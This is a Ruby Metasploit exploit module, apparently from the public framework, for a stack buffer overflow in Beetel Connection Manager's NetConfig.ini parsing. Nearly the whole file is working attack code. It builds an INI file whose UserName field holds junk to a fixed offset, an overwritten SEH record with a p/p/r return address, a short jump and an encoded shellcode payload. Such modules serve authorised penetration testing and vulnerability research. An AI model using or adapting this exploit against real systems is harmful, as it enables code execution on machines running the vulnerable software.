modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => "Beetel Connection Manager NetConfig.ini Buffer Overflow",
'Description' => %q{
This module exploits a stack-based buffer overflow in Beetel Connection
Manager. The vulnerability exists in the parsing of the UserName
parameter in the NetConfig.ini file.
The module has been tested successfully against version
PCW_BTLINDV1.0.0B04 on Windows XP SP3 and Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' => [
"metacom", # Vuln/PoC
"wvu" # Metasploit
],
'References' => [
["OSVDB", "98714"],
["EDB", "28969"]
],
'Payload' => {
"Space" => 1504,
"BadChars" => "\x00\x09\x0a\x0b\x0c\x0d\x20",
"DisableNops" => true
},
'Platform' => "win",
'Targets' => [
["PCW_BTLINDV1.0.0B04 (WinXP SP3, Win7 SP1)", {
"Offset" => 468,
"Ret" => 0x0105e2f6 # p/p/r (WaitingForm.dll 1.0.0.0)
}]
],
'Privileged' => false,
'DisclosureDate' => "2013-10-12",
'DefaultTarget' => 0
))
register_options([
OptString.new("FILENAME", [true, "INI file", "NetConfig.ini"]),
OptString.new("SECTION", [true, "Section name", "Edit Me"])
])
end
def exploit
section = datastore["SECTION"]
sploit = "[#{section}]\r\nUserName=#{shell_popper}"
file_create(sploit)
end
def shell_popper
junk = rand_text(target["Offset"])
seh = generate_seh_record(target.ret)
jump = Rex::Arch::X86.jmp_short(66)
padding = rand_text(66) # Pad past buffer corruption
junk + seh + jump + padding + payload.encoded
end
end